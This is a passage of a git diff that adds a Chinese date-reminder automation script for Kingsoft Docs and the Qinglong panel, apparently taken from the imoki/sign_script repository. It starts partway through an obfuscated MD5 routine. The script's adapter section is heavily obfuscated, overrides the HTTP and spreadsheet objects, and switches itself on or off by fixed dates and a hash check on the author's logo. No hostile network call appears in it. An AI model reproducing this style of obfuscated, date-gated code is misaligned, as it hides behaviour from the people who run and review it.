_0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 10], 17, 4294925233); + _0x29e4be = _0x158610(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 11], 22, 2304563134); + _0x1b337a = _0x158610(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 12], 7, 1804603682); + _0x4a8185 = _0x158610(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 13], 12, 4254626195); + _0x49cac4 = _0x158610(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 14], 17, 2792965006); + _0x29e4be = _0x158610(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 15], 22, 1236535329); + _0x1b337a = _0x278aa8(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 1], 5, 4129170786); + _0x4a8185 = _0x278aa8(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 6], 9, 3225465664); + _0x49cac4 = _0x278aa8(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 11], 14, 643717713); + _0x29e4be = _0x278aa8(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 0], 20, 3921069994); + _0x1b337a = _0x278aa8(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 5], 5, 3593408605); + _0x4a8185 = _0x278aa8(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 10], 9, 38016083); + _0x49cac4 = _0x278aa8(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 15], 14, 3634488961); + _0x29e4be = _0x278aa8(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 4], 20, 3889429448); + _0x1b337a = _0x278aa8(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 9], 5, 568446438); + _0x4a8185 = _0x278aa8(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 14], 9, 3275163606); + _0x49cac4 = _0x278aa8(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 3], 14, 4107603335); + _0x29e4be = _0x278aa8(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 8], 20, 1163531501); + _0x1b337a = _0x278aa8(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 13], 5, 2850285829); + _0x4a8185 = _0x278aa8(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 2], 9, 4243563512); + _0x49cac4 = _0x278aa8(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 7], 14, 1735328473); + _0x29e4be = _0x278aa8(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 12], 20, 2368359562); + _0x1b337a = _0x18e3f4(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 5], 4, 4294588738); + _0x4a8185 = _0x18e3f4(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 8], 11, 2272392833); + _0x49cac4 = _0x18e3f4(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 11], 16, 1839030562); + _0x29e4be = _0x18e3f4(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 14], 23, 4259657740); + _0x1b337a = _0x18e3f4(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 1], 4, 2763975236); + _0x4a8185 = _0x18e3f4(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 4], 11, 1272893353); + _0x49cac4 = _0x18e3f4(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 7], 16, 4139469664); + _0x29e4be = _0x18e3f4(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 10], 23, 3200236656); + _0x1b337a = _0x18e3f4(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 13], 4, 681279174); + _0x4a8185 = _0x18e3f4(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 0], 11, 3936430074); + _0x49cac4 = _0x18e3f4(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 3], 16, 3572445317); + _0x29e4be = _0x18e3f4(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 6], 23, 76029189); + _0x1b337a = _0x18e3f4(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 9], 4, 3654602809); + _0x4a8185 = _0x18e3f4(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 12], 11, 3873151461); + _0x49cac4 = _0x18e3f4(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 15], 16, 530742520); + _0x29e4be = _0x18e3f4(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 2], 23, 3299628645); + _0x1b337a = _0x22590f(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 0], 6, 4096336452); + _0x4a8185 = _0x22590f(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 7], 10, 1126891415); + _0x49cac4 = _0x22590f(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 14], 15, 2878612391); + _0x29e4be = _0x22590f(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 5], 21, 4237533241); + _0x1b337a = _0x22590f(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 12], 6, 1700485571); + _0x4a8185 = _0x22590f(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 3], 10, 2399980690); + _0x49cac4 = _0x22590f(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 10], 15, 4293915773); + _0x29e4be = _0x22590f(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 1], 21, 2240044497); + _0x1b337a = _0x22590f(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 8], 6, 1873313359); + _0x4a8185 = _0x22590f(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 15], 10, 4264355552); + _0x49cac4 = _0x22590f(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 6], 15, 2734768916); + _0x29e4be = _0x22590f(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 13], 21, 1309151649); + _0x1b337a = _0x22590f(_0x1b337a, _0x29e4be, _0x49cac4, _0x4a8185, _0x4a4089[_0x1e1258 + 4], 6, 4149444226); + _0x4a8185 = _0x22590f(_0x4a8185, _0x1b337a, _0x29e4be, _0x49cac4, _0x4a4089[_0x1e1258 + 11], 10, 3174756917); + _0x49cac4 = _0x22590f(_0x49cac4, _0x4a8185, _0x1b337a, _0x29e4be, _0x4a4089[_0x1e1258 + 2], 15, 718787259); + _0x29e4be = _0x22590f(_0x29e4be, _0x49cac4, _0x4a8185, _0x1b337a, _0x4a4089[_0x1e1258 + 9], 21, 3951481745); + _0x1b337a = _0x380581(_0x1b337a, _0x42b638); + _0x29e4be = _0x380581(_0x29e4be, _0x1c926e); + _0x49cac4 = _0x380581(_0x49cac4, _0x4d5a57); + _0x4a8185 = _0x380581(_0x4a8185, _0xcc86c7); + } + return (_0x1cf88a(_0x1b337a) + _0x1cf88a(_0x29e4be) + _0x1cf88a(_0x49cac4) + _0x1cf88a(_0x4a8185)).toLowerCase(); +} \ No newline at end of file diff --git a/脚本库/web版/账密/日期提醒/2025-08-25_remind_a1656667.js b/脚本库/web版/账密/日期提醒/2025-08-25_remind_a1656667.js new file mode 100644 index 0000000..5493fd3 --- /dev/null +++ b/脚本库/web版/账密/日期提醒/2025-08-25_remind_a1656667.js @@ -0,0 +1,645 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/remind.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/remind.js +// # Repo: imoki/sign_script +// # Path: polymerization/remind.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: a165666730d8b62b27564625aa573e3b7040c5d845a4d7cc347c2eb244596669 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "日期提醒" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240405 + 环境变量名:remind(修改这里) + 环境变量值:无(修改这里) + 备注:日期提醒工具,农历阳历自动转换 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "remind"; // 分配置表名称, (修改这里) +var pushHeader = "【日期提醒】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if 